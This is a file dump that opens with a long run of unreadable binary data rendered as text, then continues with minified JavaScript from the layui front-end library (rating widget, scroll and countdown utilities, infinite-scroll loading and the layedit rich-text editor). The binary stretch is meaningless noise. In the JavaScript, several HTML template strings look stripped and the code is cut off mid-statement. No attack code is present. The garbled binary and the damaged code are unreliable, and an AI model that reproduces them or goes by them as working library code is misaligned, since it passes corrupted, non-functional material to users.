z_!nH+*z(7?VX|E^&yWWsh)VRD@|(|ug!A_0wtZXTUfGWc1YQ9EbiN^T?bwO8>gLGv zkFRYdy`Cu`}5Z_$DaFota=)Gt(!uUYWm zy#nlZ>idi?bR1)log=_3I~%`#@S%atPQY|*n&qpzWb8bev%x9V$jDQ2bQ1 zG8cdR`{G~Z?=W5baTtjNN_qI}>x9>{DO)Gi7O=+_%7^`sZvs8P2MW)(ODVM?aBC&( zA7Xvqy2D70j~C&=OT7bV0qrA2!*4YrKscN0&a-%v9Z412)H~>|^erJ`xR0)io58rC ztOgzDQ&ddWdw0mq0IJn291(Q`$=LbXg4B%u9jzzKAq#VuDQF*^PnduN?}${(wmy8st?!fJuyS;U`~g{nvS=ja%ln4$Nd01kyGSg->U^W{_N0CH$)zV)24i!9d#Hdt=#e5qd@Ki`` z7kR$QWfwU&@Vz8|CcB&b5;rmy zhU5fwvUW9rzVr9r^DhgN@7zH56+R-8xcZ_Kz<|Th4jwn_#^%LVy6+?h@>+laMQ^}k zsKOEhh*eflPy#x{(yLlzBIjR`0l>E(yH?|)<>BPMoZPGY?<;Ox(U(@oY{3tby{&Pue%gStN$~+- zNlZ=A20|-q{=nRyw{|O{2@vn}-+>oH1Mv6_A)ZYN zSA4jmqI(-`ZZ6nbG3zMIJ84ZX=u}OX#%+1h1Y_nzzuIY+%*M_(B1WSk^%6>0G8*7= z=!m#G(<5C|)!ES5 z7D(_b;l#;=2uf)3)Np}4*f=C-zuq5p$eL+vOH2F3g*I;%0J=9qKB)OWZ#yT;+Y zpUu4IU3H`x#uI7*!cKb_8n_w+c5x&!+QK7 z5f~y@JB?6h@e30ZUQN)(CZ8U?^Zb2khMxF!vuD}yx!Ux%;c`1KrgL+R>qj>N$iXp= zW%+CjT>%}7g1A@a|BR9U+J5FI(b^27rm3`&Xd?f014L*dWXCAhyU%rvFx%q^ z;=It6Ll;6;uh+bld(!z^V1#Fx=W9an4;nw6JAcjNNtZ&)Oy0SbOIp`lU$y*T(E9bA zk**r~WqMGKfGT-%>J=gPh)@8NKtf#=EQY|e^s<1mj9FbDni;1$D>BHiGtXVui^C+SE2w$iu&g!ca z5)G{08R$9c2uw$&*WgxMSn2Bqlhrqd`1fqh-QOl9(jNr)<&ERm?s%9oSJ&~2IJ(6o zWewX-+>=+1_xiN=Mr5(l;hI>I*@EQd`#i+J{r z-p_SL<;MBd%Qvx3yY~X#rCEo6q=L0hm@Ei(X_JAEkN8fQ>YrpZDujrZot{}D5PPFk z+OY%c5Njj<$P%SB*UsKkay@9WwtP0UYAM&jYh%~5Z0sLMbe`r zs=}b%2vLFnU07&q4VB=WVc9qE?agQD&Ml}kj!>3Y#nU))lR*Aa zgd=UcEMS`d(^$@??5XmeDYtwiVE*x_^LhJ_3G!xpvWi3JTCmdZ^p7#SN72^aylPEa zu>)|RvpkoVr+*_GV&$H!blG@CZ%{URQC-OTJM?jx)iAI^ZmLQ5_GpbOUZH%wb;pnL z-IJ_iAXiD){Qyw1Bo@4nK4H>-s2kfbmSlCs4;E3gj@juV#nQa-qtW#B37!{P7lvZ1Iln`{<%u=cP zSa7rys0OP*v#H<`KJwL#86M`7Hg_EnmMws;CJ?3`mkO1uGC90F)ThK~>HILrYn_xf zNU(BV0CnaJ*s*w;Km~4!ryaz4H9LP05M3?Ow+0VB?!q~im2A_K!iK!X3Z$F0q!aI8 zJ70i9*-Dt+f zAP=mTRw*4)?Mq^x-e0`KE$3C-8I7zWXugp!12Ph+-gc~n-eq8kidTZuvP)nPl+VSH z8Wm;ob=7s1gRzY|VRDk-ZBP)Fpw&2Yu$bEqdYOO>fRe#5u6fQh zKJR4JENzE5{{rlz!Ej-FDJ)1KdmjbOJQrtGvf|xF;>M@h`m;$_a6VG-R$SrtDT6F2 z_@7bX1JTiWirAmZ4NWJVknfYSdye!gnEy0{#xRe z#z7@ZU$AagradP3T?Epx^#=C1&0eY`7rLH6@fUbkl=)zD&+<#)-Z5gT$!F`-YSXa@ z>j%iLelIL9KfIUQx`w$C3|uvCS#Uc`mQajM=JJ~vH z^Fu~^-$)t8J79B4P)QTg#$czYm1QS9a}g2V|C%O@isYghPN(5cw{lwIQq*)$)Qduh zrG-rKgEsN9S*(JWyYei*aHXy< zGu=6h1;-+kF&^eXLX*MsoV2< zMRjO^PzkNaZ$To+eJz2W(R)z0Z(RSGod2Wx%c^KAyh+=|4vWSk#Kh0~F`0$1!0Moy z@EZ%LxEqx-n$1^$d^a?m6^#PT+?}(l?_MwO)@z&)agXn&dd=qSaLFu&uZqv)RE~1? z(&pwj@w-QFA4*6L_&YDZlmhSNz3A-aj7fyxhK#(5jCwFPALcItL&<{L{Xybk#=$$hKKsmg7= zTD)czOkF1qSv_f$Fvxy=sDR|j9q#Z-%7*VHrn1=RKB_Qx>C zJUq5it5)@d$?fp6xYor&Dq5*(HZ;mOrw(+Dz;y8r`~KbyiUr&)SOO!zy4Dy`-N`n> zoPMU9aW~YXzCz*(IzM@u@7JuTA&bovw|kK$@(x|bz5Do$2nuW{;x#@*?(ovce+JFtbR zqQ6(EmwLreq(R{elR^U}p9)k1O1+=?A_+Y9=t~V@h1I<&X@er~e*5V^QkVa%PLMp0 zN7_Xoo(27yk|A0h#)tDnMcJ(91aF`@xMAan_DAQbJ3IwlY)Xr8+Ykv=eZ5`5ce7Gl zT}76wa-&qqI1Zbswa6@XY!&pY%;0{_#+TefdFLX#*s8nCN2Xi)VawHbY~~JS^YId5 zJ!VLv5~os)^^wWEE;(aES5b<DH{CA#;DumQCA5qp^W2>YUtF50uRBofnPp-NC&;Kuu(Cc zDy~Mz&98>%r_{h-kPAq8zZ!;>|-^zXXq?K>;ic~|*fv=8WMnj2R+skx&d(&6G*9N5ayo>tU z-TDB18|~U{p>S1KlFKoluqL=)^C{zMT}454l+iV-KbWrII8{_^sr6&6M9c6q`lpI{ z1&cuy+k3}Z5?)OWJ58>pmDqaM?!7b{by1P|p8cR8wxrH?NN3@#F8q4Ao54^~FYK}G z!(OvU<4G3hpfrwhXRY`Ek1yk!4c)^AZ_4Y+O}FP!jUtnRz;thUnSmSQTUFn4s`!$> zfA_cHCIk|%X;6uGPMB_#HjM4|NaPVS9QbltM-uNu8izDm%F5P@$j>prq>-r*W%uF) zm(O$7fl4th>q>eNhU^AK^^Zb>wux(8Zm!1=mpfm7lmE}u=-<`L)?Gh6vdR4R3GXXp z>s1h$9-5SD)z{cLvIxlHUAIEb6G#@V0NZAh45wu`*f{La-#}4^u7?~71BK33mYAuWN6u?3ujC2GFhT6v8O#@851bVS0EK!rIZI zuUzp^qby4+AV9yidWX3qV2P*zGZcri%b;R3kO`q9)A=dXqGF0G(po(*HlO^znT}aq2VOJvF zYi(pKeZ);;PSEfRP9ldB5?q~jXpp~mKU)tsS{*-*k)^=CA6CxOiaKNVeO<&0u*ibt z6eo$iZ&&=D2jthy0EPqF1Q4n&?N6~iNuy2_fUXf_ZJa8sg4=&I82BxIDyU$^ zD#FLeeUJG)2-+N3L1fOstH zYC2hW>>}i3?@GqHsR!jwhxwi`eRQ}sFB}k$JLcc}xw!Cau*i*%N!bN7A%!x(K?)h) zX`ugL7c_PeWb<)DPF=Tm4f55%aN3uP_qZgVAUQF8Rr#waRM60$Rc0kFK(1V z^%X*!ceea z%p3+;zxXQh6WNYdS!BX<$W^DbpVP>AYwVDnXv0*?*WK=B`&8t$UPPj z76v-W+dvZOFDR}sm~~1PpN5xLtWEMjd7*mLyt81+yWjq%MSuA?%XE5FWMaC;Y!@Y7 z)&KJQVbydFD$?bR@@U3EJnuW>s$w+*Ufd>!Wh>S{QMtfG9`Gt4>!vDvD+mWD@n3H4 zGY<4#-uI23KUB4gtUPoFuy!>h(g5(7u4@WA^YApEmbc~{-73!BD!QXiKAsE9jA1Jn zy4ruJKnM_ps4`Fjv?c8Pa@25d6usoGWEH7Wj2I2SdBb#}B$Dp!P;RDpm|m&erY%}w zHzp^Ukeqh67Mj_}wkp?~96eJln{gLd&haYPCm6B(;uc-rw!Y07D3r4P$gp8L*q1K# zG6^;y#g)(Ex!qUZ0_CK55oZyPhKD?i4cwb%M0VdzidT<1LR$mUt4zb1nD@tJM)Z*%%E53)rlr@5~7wIw~XgoJ{ypFbSJI}x3^J4-wL7sHY-%Le`Mhob#g(jA2Tc|N^+ES=S{pXNn365Z(c zTqyb3oaGyW(vJ?Wt(B%o_`fFYz$tY01Z-G2(YxSf*NBbgZLD-fd12jJuIQJJ)-YQ` zB&o##R01-F+9}ao~>*^cOskMw^xiAhS6M zL@@~m70f>X3xrfeB!9?%P8wD#MJ2cgS%oxIw6Z#TGUPSu%~vOD@!^!D?=AAg*wq#K zwp~37*TSOel2{tY2fqv1?@{x5v5d`c)gh*0DT8|fV?L!eSH+Q4NyQDp4;s-^LoBQ_ zEfzZx529&U^Enrjs}1U|B=T&731C(FXQ6nFVWr+4z9#jE&U(<1`! z(euOI_Ky0YTIWhA`dYn{L9JdqhSYMz`G>0_&99ZZ{jH*yB7(GgR=%^naKbd|(jY{v zHkFuhp_|z32PAbq?Tzt}na@xTO`r91JB=RjnnbwiAgJy1{^}iJ@||f>1o`9kab|4w z5LTx~NslMIHa+! z-Jg$+*5=Do5P8oXB;D?^Ulq?t3s3jmy=zo25LE;CUK*j=K!S|(Q^VR9Act&)4npes z(wv6HsFf3@wN#6VTYp$4WiDwHHu_#$HZwp)Si71LbHh_T+Crr&+2oH?_E4-c9XXTt za(#qzIk79tKr7>X!jNP*&OaoRU3a5$3v$Kx4Pq>`z09x!o;5z{mrZ->N$v|@e&p-x zKlJSDOUM6;f&9+Y-yC@?Te5;kaHN=W`9aqw)|RaNo@o}gqY_!4erp<98l!u)%{9~? zQGuwG!I@c3e(2W@H-rseq(Z4I}p+reQIn29vMvTMOvcb;QAS!w`#h_WofS#C=^vY6$>r9L*#U)Lv3ysF~qK- z&imVFl{?1g>+IRnOe~vM6>aXIs&0y1sO^C#XxUqs%u$i3h=)LpWn@ z%lg9%(1>NC2he;SL3(kM4FIzATAmY_? zotJ0lnxvBsZOPm4>agbC^)_Rvz|k1X4^eIC-+JSL52Q_AfoQG9ar{oJvhE-lpda&) zf6^ggu*kxT%;n=YeZGGy#nQF)`n;oqXJ_NaRkOR zRwdBQ&OrYNG!^`6P~|;2m~Uidm$?aauTcMy>7?n}YrjGH_`6YL3meiELzrRJm1yhX z20_{DjS+u4HvQ%Ndzs&nt{rF6Qvs-)KP(rv$iZ#w?O zbnUuHP9cWGmys>9`$8r8+fUd1t+-c{7U;2->mTkb-@MV^6=n=KP*49j?PZAbadQ2> z69TvH6w5HGwRqIR`S6ihW5QhF?m_hLH1E~Ib?%1JSWMbHX>+QUO0nZcz!p{M%RV+M z6gz;8B8DPuX;@68-@|NYOFVKpz7K+;xDDgL3nl}G30xwWp$fkNLCTjR4w6i5Y_9Z> zmz9wNw(O^F?zLi$P{UU#HTZlBPZNUlPtzKGV$xp(FtMcuUZhTP%XG_^Pz^&;~BNCaM73xiFcBVOL%z@vAsC_GL2r?(Nms|WbP~?H-wcPXnpow zp+Kpv0suF#YH9r_J@M&uMNPvcPT3*TqM;&fBe{8E_A@@p``{CP=Ef( z;4liXtXIpEZLcSW%9MobQL!Nc_wk5IHszqCGT#Su+-h<|HPkOCb88M6G!|D1#9>=@X_~Zxg+|!w?f`er?@ot!rIJvTc=91d_&?(@pDdw`y&=B4Z?S z#|?Ar>LEbxJw|wmt%Aq-o`%62(oS zmHvX3=^$?w<6+y>?JbLppf#fh8(K9PYEobkNXP>HsL#UIzzoqVSl|+$`^Y45#&pB| z`{vdX@1v)GtRk>(%LerCYo&)}^eg4^L(t)xoy>2s_r)!4TAJz3fCP05rjs3nP^Z|%01_iVPnuTP|SO@?$=kmZl)T!E)oyV}_mp0ja z&E2T5jE(%Bd3%}SJ!1>?m`bTo={GhS{2k5enje5|k4!^Vbo>QCbnB&+*dy^nqcmp0Uv zP|GRS41tR0Dd@8I5ykz;MCi3ZyeM{vP@((K)i@wa$PD@Gf{T@e?T6QgmC&zlC?G1) z+ES2pSRjHXDAi<+YLKXG-LLI>;s;Bu3$|6v#XBC8Jh;J@Y1zC>@tN@wUY%%ceS z%K058xu+~wF3zL&XQ!}>#uc3j`hAE~&8!bMFayKu=GlL#zOiR#WWE0$A->@?sTkV8 zKoUEx!%;7>e1^^n?6c9OpZ3N()yoq+_|wA{teX^Yv|S)!j)xo1Rb(NR*KA_YP9~&T z%POb%K5&B0@rQ$p8edQP^pnu#l4xbb52VreQFBf5r-4JF3Tr7Hdy2lMkR;TnIegqO zF^y!jLF$V(Os1{lX6=y_LP=;-aAyGQ?QSKoTkMg>uLoLFE^f-`TEQiC&@(vZgoz)o zbwh#S8BJhMMdTLT?sq6afn%=t5)lYfw>NfSQ(z+QEhNIn0H`J%(trR|N)~Y*Tapm@ zT`DhZlKhtVvW~t%5s*&JJ?l9)rAG7et>m&)*MM3=^mj^0Peim-P?~xXE~PKv>A&#) z4BOLq?aI8$nQ_JySS|*Te!|45VI&7=F&PcgrS}AFMqt0q&HM_{Ug>s(SZCaARE7PRlrWfsdZ-dMk(%YrfG5$ra`iZ05t|q0mOEp7$+Py)W;TRf+`ZO+7}2ovq6kq6y_ma-s?0XV_F0L;ocl;V<;ot*VZ2 z=}M^FayR?Va*&^-(;TT2XuH4PdK_gfBHyR2$%j)>E6dS3)B3rJ;W0_GEH}XF^jgXI}-g&Evy#C zhY&koPtFLW9snlLL5a}u=Bh3+S>~kF*l|2egW~V+nj$)stL3>Q>i=jPl%XLi8 zK~mePYP`w@sylxC2(YejGjR6c5Ef>x^#%_d^PGB1yx?uGeQTwPFtQPT*{^A|+l~h< zYtf1=Vz#(`i!u9`Dcd_~iziG~59YoUEuQx8B3*gaL6SQ47v~5itvIv3|1(%1GCLD0 z_}FX$>3>wpUW3HbiQ* zy`}sRBF$cm#I@m@df)LbEQ89HF7u?hsnXc}dC00j@y&@??fMfY>GBNw7sZD!aj{jO z*QmwhuCS5VmgVw6%L=4Gg1i5LjXjuqdlk@^)Z)>x(-WAJ?HDt}5~-Nczp6bil9d#r zxMl^c(`W)o9ETe1N9KkmQd5?sJaa>nOrVgpSch1^HZSu=5;8N#4J?8xQT2^$nU<7Y zd7G4jfw^0e2Nr|rlk9(T=r45d)VssT*FcdbkXhWsqekRW8DD#7;e-CdA_Hklyk-+; zRFeQ!Z^C1nlFhw0y-E?(AEmwUt`O@zT?ZLdd(JUx3Hvl#M0r83Nnxj2D|2`A*as+L zqB_D3iq6cNtlR-;0$w@=wLVW8qY9%s`Z|vL-zv05KUg>zsL;((0Se{J##Fu#6E$;+ z3YD`}I?i2yXBVXH^q1)g|<<3Y=my--;qD~Pz-{){669gEQtoB)GL z>p=a@hRtPT^V-F+BQiWJ^8>Axc(eVjTP)`211n`@JP+?k6+dB04Ss+R*S1)8U=heG z$MuwVAqsZ)rpy+s>YrFP#YZls_I+paMr4eXXu<>$B3VnN&7}hL8 zYP5ChAfhH@FjI#?9+&?@AOCD}!xWy*iN3MP{h<3mVPOr4l5aAfgrxH52eI0!B7LJ- z9PA|A^}R1rjFz9@PP){)Pux9cG2%M98sVqk_O@R5wY_!aF(2;by4~rF0X9i;YKRlz z+5qyM)uxp#CFZQ)WQrAb{^|V9>3}Bdm`$Bkha5caiYR5s=;S1!#(^8+|jvV?I3Kn zJ{)2mXRJ~K^dqg`yOql} zVXjW{?>s!{;IOEEF8i5l;!jpE$y`)Ci?vIhgg&y}dpphxtrT&jdb$!i3x%#X+cdtX zV*~us?u%IRiZ;x0ctXNvp93?-Fh>9m1Jel4*xALqL8~*eZ1M^T25WB89i7#}CX?4| zFKis#1CKVtkI)V<`eSBueLbofm3w2Vx$UOw2~(uElda+$L=(UPYNhP3I%Md{OEIn$ z^;Am;8wVs$((Nb-&ucnz8S$JZ6*0k~fN%1>{JMz=h-c+D*Z8=@j45}rUdW}ruytjz zz2)F$Tp&mM{9lTnyU6r|+^M}XN+WrV`8qB zd$oNH4bHVOweos$xk&T}>8~06eq}krK)7da}L6z*; zGoEGPCkTmHeoK#xg{BV&2b_Uv4Z-kO;9WLm)@HoPie1|uYmLZ8ZsmxV@S0HiwtKBp zU&%Z;U5~atMj3AtDN0y9RSBZVWt>N|37}8O_wCI`WTZSUaHMaPr_Ibk_Wavp^!Q(}ECa?vJS zX-)RdsV^lx+ipZ!8mVHv2Nx~C9MF%tqcK>dZ3b1@C!j`;KV^)6Sdvx-$H`6I`jf1) z*r%iXTB2yml+LdsqyLNz2))UdWj+ zYR8q7i~BzkkU6ez7degZz>ZRLMJ$3vR(>(Y_IqHQd3gOZf_xsPyZ%YeKYgE>@6EOM zL^-pu$*R2NTAtW&9Xt#|Q(Eib$2v=I8(vyS|D3t0=>Af)v>z&sj8yvX(jzk~qO6v&vhuCA*j&!O#AyuY*yv$m>YT*$fj_*B=Xiday7;@w znPM*U!4Sdwb_|Mo!=!+k zdh2wjPfKn_{W~m2(qYVlWTWpyDChy_=2WV8L-LP>qq*GPm4GU*SBv?;A#tf&5gtl5_moyNX zKSGJ;djlT-@VBvd&R+BgsU%lHepwzKjsv|+VYE-D+hT8eCQoJw*{4>xsfVO2JRHWw11n5@z5~0{FgF(g%gc z`RmL>J<8*1mQYO%{5o=FhVjRFAaM%O3F{!Pp>~1fY!~Gak#*1P_oGIy_wk=+%`6jT zgN#cYH6DYW;SqP%uQTo?+Gq#}KtffrpyWqY5$<<8yNN~?g^pt&F1"+(i.text?''+i.value+"星":"")+"";var c=i.elem,f=c.next("."+t);f[0]&&f.remove(),e.elemTemp=a(n),i.span=e.elemTemp.next("span"),i.setText&&i.setText(i.value),c.html(e.elemTemp),c.addClass("layui-inline"),i.readonly||e.action()},v.prototype.setvalue=function(e){var a=this,i=a.config;i.value=e,a.render()},v.prototype.action=function(){var e=this,i=e.config,l=e.elemTemp,n=l.find("i").width();l.children("li").each(function(e){var t=e+1,v=a(this);v.on("click",function(e){if(i.value=t,i.half){var o=e.pageX-a(this).offset().left;o<=n/2&&(i.value=i.value-.5)}i.text&&l.next("span").text(i.value+"星"),i.choose&&i.choose(i.value),i.setText&&i.setText(i.value)}),v.on("mousemove",function(e){if(l.find("i").each(function(){a(this).addClass(o).removeClass(r)}),l.find("i:lt("+t+")").each(function(){a(this).addClass(s).removeClass(f)}),i.half){var c=e.pageX-a(this).offset().left;c<=n/2&&v.children("i").addClass(u).removeClass(s)}}),v.on("mouseleave",function(){l.find("i").each(function(){a(this).addClass(o).removeClass(r)}),l.find("i:lt("+Math.floor(i.value)+")").each(function(){a(this).addClass(s).removeClass(f)}),i.half&&parseInt(i.value)!==i.value&&l.children("li:eq("+Math.floor(i.value)+")").children("i").addClass(u).removeClass(c)})})},v.prototype.events=function(){var e=this;e.config},i.render=function(e){var a=new v(e);return l.call(a)},e(n,i)});layui.define("jquery",function(e){"use strict";var t=layui.$,i={fixbar:function(e){var i,n,a="layui-fixbar",o="layui-fixbar-top",r=t(document),l=t("body");e=t.extend({showHeight:200},e),e.bar1=e.bar1===!0?"":e.bar1,e.bar2=e.bar2===!0?"":e.bar2,e.bgcolor=e.bgcolor?"background-color:"+e.bgcolor:"";var c=[e.bar1,e.bar2,""],u=t(['
              ',e.bar1?'
            • '+c[0]+"
            • ":"",e.bar2?'
            • '+c[1]+"
            • ":"",'
            • '+c[2]+"
            • ","
            "].join("")),g=u.find("."+o),s=function(){var t=r.scrollTop();t>=e.showHeight?i||(g.show(),i=1):i&&(g.hide(),i=0)};t("."+a)[0]||("object"==typeof e.css&&u.css(e.css),l.append(u),s(),u.find("li").on("click",function(){var i=t(this),n=i.attr("lay-type");"top"===n&&t("html,body").animate({scrollTop:0},200),e.click&&e.click.call(this,n)}),r.on("scroll",function(){clearTimeout(n),n=setTimeout(function(){s()},100)}))},countdown:function(e,t,i){var n=this,a="function"==typeof t,o=new Date(e).getTime(),r=new Date(!t||a?(new Date).getTime():t).getTime(),l=o-r,c=[Math.floor(l/864e5),Math.floor(l/36e5)%24,Math.floor(l/6e4)%60,Math.floor(l/1e3)%60];a&&(i=t);var u=setTimeout(function(){n.countdown(e,r+1e3,i)},1e3);return i&&i(l>0?c:[0,0,0,0],t,u),l<=0&&clearTimeout(u),u},timeAgo:function(e,t){var i=this,n=[[],[]],a=(new Date).getTime()-new Date(e).getTime();return a>26784e5?(a=new Date(e),n[0][0]=i.digit(a.getFullYear(),4),n[0][1]=i.digit(a.getMonth()+1),n[0][2]=i.digit(a.getDate()),t||(n[1][0]=i.digit(a.getHours()),n[1][1]=i.digit(a.getMinutes()),n[1][2]=i.digit(a.getSeconds())),n[0].join("-")+" "+n[1].join(":")):a>=864e5?(a/1e3/60/60/24|0)+"天前":a>=36e5?(a/1e3/60/60|0)+"小时前":a>=18e4?(a/1e3/60|0)+"分钟前":a<0?"未来":"刚刚"},digit:function(e,t){var i="";e=String(e),t=t||2;for(var n=e.length;n/g,">").replace(/'/g,"'").replace(/"/g,""")},event:function(e,n,a){var o=t("body");return a=a||"click",n=i.event[e]=t.extend(!0,i.event[e],n)||{},i.event.UTIL_EVENT_CALLBACK=i.event.UTIL_EVENT_CALLBACK||{},o.off(a,"*["+e+"]",i.event.UTIL_EVENT_CALLBACK[e]),i.event.UTIL_EVENT_CALLBACK[e]=function(){var i=t(this),a=i.attr(e);"function"==typeof n[a]&&n[a].call(this,i)},o.on(a,"*["+e+"]",i.event.UTIL_EVENT_CALLBACK[e]),n}};!function(e,t,i){"$:nomunge";function n(){a=t[l](function(){o.each(function(){var t=e(this),i=t.width(),n=t.height(),a=e.data(this,u);(i!==a.w||n!==a.h)&&t.trigger(c,[a.w=i,a.h=n])}),n()},r[g])}var a,o=e([]),r=e.resize=e.extend(e.resize,{}),l="setTimeout",c="resize",u=c+"-special-event",g="delay",s="throttleWindow";r[g]=250,r[s]=!0,e.event.special[c]={setup:function(){if(!r[s]&&this[l])return!1;var t=e(this);o=o.add(t),e.data(this,u,{w:t.width(),h:t.height()}),1===o.length&&n()},teardown:function(){if(!r[s]&&this[l])return!1;var t=e(this);o=o.not(t),t.removeData(u),o.length||clearTimeout(a)},add:function(t){function n(t,n,o){var r=e(this),l=e.data(this,u)||{};l.w=n!==i?n:r.width(),l.h=o!==i?o:r.height(),a.apply(this,arguments)}if(!r[s]&&this[l])return!1;var a;return e.isFunction(t)?(a=t,n):(a=t.handler,void(t.handler=n))}}}(t,window),e("util",i)});layui.define("jquery",function(e){"use strict";var l=layui.$,o=function(e){},t='';o.prototype.load=function(e){var o,i,n,r,a=this,c=0;e=e||{};var f=l(e.elem);if(f[0]){var m=l(e.scrollElem||document),u=e.mb||50,s=!("isAuto"in e)||e.isAuto,v=e.end||"没有更多了",y=e.scrollElem&&e.scrollElem!==document,d="加载更多",h=l('");f.find(".layui-flow-more")[0]||f.append(h);var p=function(e,t){e=l(e),h.before(e),t=0==t||null,t?h.html(v):h.find("a").html(d),i=t,o=null,n&&n()},g=function(){o=!0,h.find("a").html(t),"function"==typeof e.done&&e.done(++c,p)};if(g(),h.find("a").on("click",function(){l(this);i||o||g()}),e.isLazyimg)var n=a.lazyimg({elem:e.elem+" img",scrollElem:e.scrollElem});return s?(m.on("scroll",function(){var e=l(this),t=e.scrollTop();r&&clearTimeout(r),!i&&f.width()&&(r=setTimeout(function(){var i=y?e.height():l(window).height(),n=y?e.prop("scrollHeight"):document.documentElement.scrollHeight;n-t-i<=u&&(o||g())},100))}),a):a}},o.prototype.lazyimg=function(e){var o,t=this,i=0;e=e||{};var n=l(e.scrollElem||document),r=e.elem||"img",a=e.scrollElem&&e.scrollElem!==document,c=function(e,l){var o=n.scrollTop(),r=o+l,c=a?function(){return e.offset().top-n.offset().top+o}():e.offset().top;if(c>=o&&c<=r&&!e.attr("src")){var m=e.attr("lay-src");layui.img(m,function(){var l=t.lazyimg.elem.eq(i);e.attr("src",m).removeAttr("lay-src"),l[0]&&f(l),i++})}},f=function(e,o){var f=a?(o||n).height():l(window).height(),m=n.scrollTop(),u=m+f;if(t.lazyimg.elem=l(r),e)c(e,f);else for(var s=0;su)break}};if(f(),!o){var m;n.on("scroll",function(){var e=l(this);m&&clearTimeout(m),m=setTimeout(function(){f(null,e)},50)}),o=!0}return f},e("flow",new o)});layui.define(["layer","form"],function(t){"use strict";var e=layui.$,i=layui.layer,a=layui.form,l=(layui.hint(),layui.device()),n="layedit",o="layui-show",r="layui-disabled",c=function(){var t=this;t.index=0,t.config={tool:["strong","italic","underline","del","|","left","center","right","|","link","unlink","face","image"],hideTool:[],height:280}};c.prototype.set=function(t){var i=this;return e.extend(!0,i.config,t),i},c.prototype.on=function(t,e){return layui.onevent(n,t,e)},c.prototype.build=function(t,i){i=i||{};var a=this,n=a.config,r="layui-layedit",c=e("string"==typeof t?"#"+t:t),u="LAY_layedit_"+ ++a.index,d=c.next("."+r),y=e.extend({},n,i),f=function(){var t=[],e={};return layui.each(y.hideTool,function(t,i){e[i]=!0}),layui.each(y.tool,function(i,a){C[a]&&!e[a]&&t.push(C[a])}),t.join("")}(),m=e(['
            ','
            '+f+"
            ",'
            ','',"
            ","
            "].join(""));return l.ie&&l.ie<8?c.removeClass("layui-hide").addClass(o):(d[0]&&d.remove(),s.call(a,m,c[0],y),c.addClass("layui-hide").after(m),a.index)},c.prototype.getContent=function(t){var e=u(t);if(e[0])return d(e[0].document.body.innerHTML)},c.prototype.getText=function(t){var i=u(t);if(i[0])return e(i[0].document.body).text()},c.prototype.setContent=function(t,i,a){var l=u(t);l[0]&&(a?e(l[0].document.body).append(i):e(l[0].document.body).html(i),layedit.sync(t))},c.prototype.sync=function(t){var i=u(t);if(i[0]){var a=e("#"+i[1].attr("textarea"));a.val(d(i[0].document.body.innerHTML))}},c.prototype.getSelection=function(t){var e=u(t);if(e[0]){var i=m(e[0].document);return document.selection?i.text:i.toString()}};var s=function(t,i,a){var l=this,n=t.find("iframe");n.css({height:a.height}).on("load",function(){var o=n.contents(),r=n.prop("contentWindow"),c=o.find("head"),s=e([""].join("")),u=o.find("body");c.append(s),u.attr("contenteditable","true").css({"min-height":a.height}).html(i.value||""),y.apply(l,[r,n,i,a]),g.call(l,r,t,a)})},u=function(t){var i=e("#LAY_layedit_"+t),a=i.prop("contentWindow");return[a,i]},d=function(t){return 8==l.ie&&(t=t.replace(/<.+>/g,function(t){return t.toLowerCase()})),t},y=function(t,a,n,o){var r=t.document,c=e(r.body);c.on("keydown",function(t){var e=t.keyCode;if(13===e){var a=m(r),l=p(a),n=l.parentNode;if("pre"===n.tagName.toLowerCase()){if(t.shiftKey)return;return i.msg("请暂时用shift+enter"),!1}r.execCommand("formatBlock",!1,"

            ")}}),e(n).parents("form").on("submit",function(){var t=c.html();8==l.ie&&(t=t.replace(/<.+>/g,function(t){return t.toLowerCase()})),n.value=t}),c.on("paste",function(e){r.execCommand("formatBlock",!1,"

            "),setTimeout(function(){f.call(t,c),n.value=c.html()},100)})},f=function(t){var i=this;i.document;t.find("*[style]").each(function(){var t=this.style.textAlign;this.removeAttribute("style"),e(this).css({"text-align":t||""})}),t.find("table").addClass("layui-table"),t.find("script,link").remove()},m=function(t){return t.selection?t.selection.createRange():t.getSelection().getRangeAt(0)},p=function(t){return t.endContainer||t.parentElement().childNodes[0]},v=function(t,i,a){var l=this.document,n=document.createElement(t);for(var o in i)n.setAttribute(o,i[o]);if(n.removeAttribute("text"),l.selection){var r=a.text||i.text;if("a"===t&&!r)return;r&&(n.innerHTML=r),a.pasteHTML(e(n).prop("outerHTML")),a.select()}else{var r=a.toString()||i.text;if("a"===t&&!r)return;r&&(n.innerHTML=r),a.deleteContents(),a.insertNode(n)}},h=function(t,i){var a=this.document,l="layedit-tool-active",n=p(m(a)),o=function(e){return t.find(".layedit-tool-"+e)};i&&i[i.hasClass(l)?"removeClass":"addClass"](l),t.find(">i").removeClass(l),o("unlink").addClass(r),e(n).parents().each(function(){var t=this.tagName.toLowerCase(),e=this.style.textAlign;"b"!==t&&"strong"!==t||o("b").addClass(l),"i"!==t&&"em"!==t||o("i").addClass(l),"u"===t&&o("u").addClass(l),"strike"===t&&o("d").addClass(l),"p"===t&&("center"===e?o("center").addClass(l):"right"===e?o("right").addClass(l):o("left").addClass(l)),"a"===t&&(o("link").addClass(l),o("unlink").removeClass(r))})},g=function(t,a,l){var n=t.document,o=e(n.body),c={link:function(i){var a=p(i),l=e(a).parent();b.call(o,{href:l.attr("href"),target:l.attr("target")},function(e){var a=l[0];"A"===a.tagName?a.href=e.url:v.call(t,"a",{target:e.target,href:e.url,text:e.url},i)})},unlink:function(t){n.execCommand("unlink")},face:function(e){x.call(this,function(i){v.call(t,"img",{src:i.src,alt:i.alt},e)})},image:function(a){var n=this;layui.use("upload",function(o){var r=l.uploadImage||{};o.render({url:r.url,method:r.type,elem:e(n).find("input")[0],done:function(e){0==e.code?(e.data=e.data||{},v.call(t,"img",{src:e.data.src,alt:e.data.title},a)):i.msg(e.msg||"上传失败")}})})},code:function(e){k.call(o,function(i){v.call(t,"pre",{text:i.code,"lay-lang":i.lang},e)})},help:function(){i.open({type:2,title:"帮助",area:["600px","380px"],shadeClose:!0,shade:.1,skin:"layui-layer-msg",content:["http://www.layui.com/about/layedit/help.html","no"]})}},s=a.find(".layui-layedit-tool"),u=function(){var i=e(this),a=i.attr("layedit-event"),l=i.attr("lay-command");if(!i.hasClass(r)){o.focus();var u=m(n);u.commonAncestorContainer;l?(n.execCommand(l),/justifyLeft|justifyCenter|justifyRight/.test(l)&&n.execCommand("formatBlock",!1,"

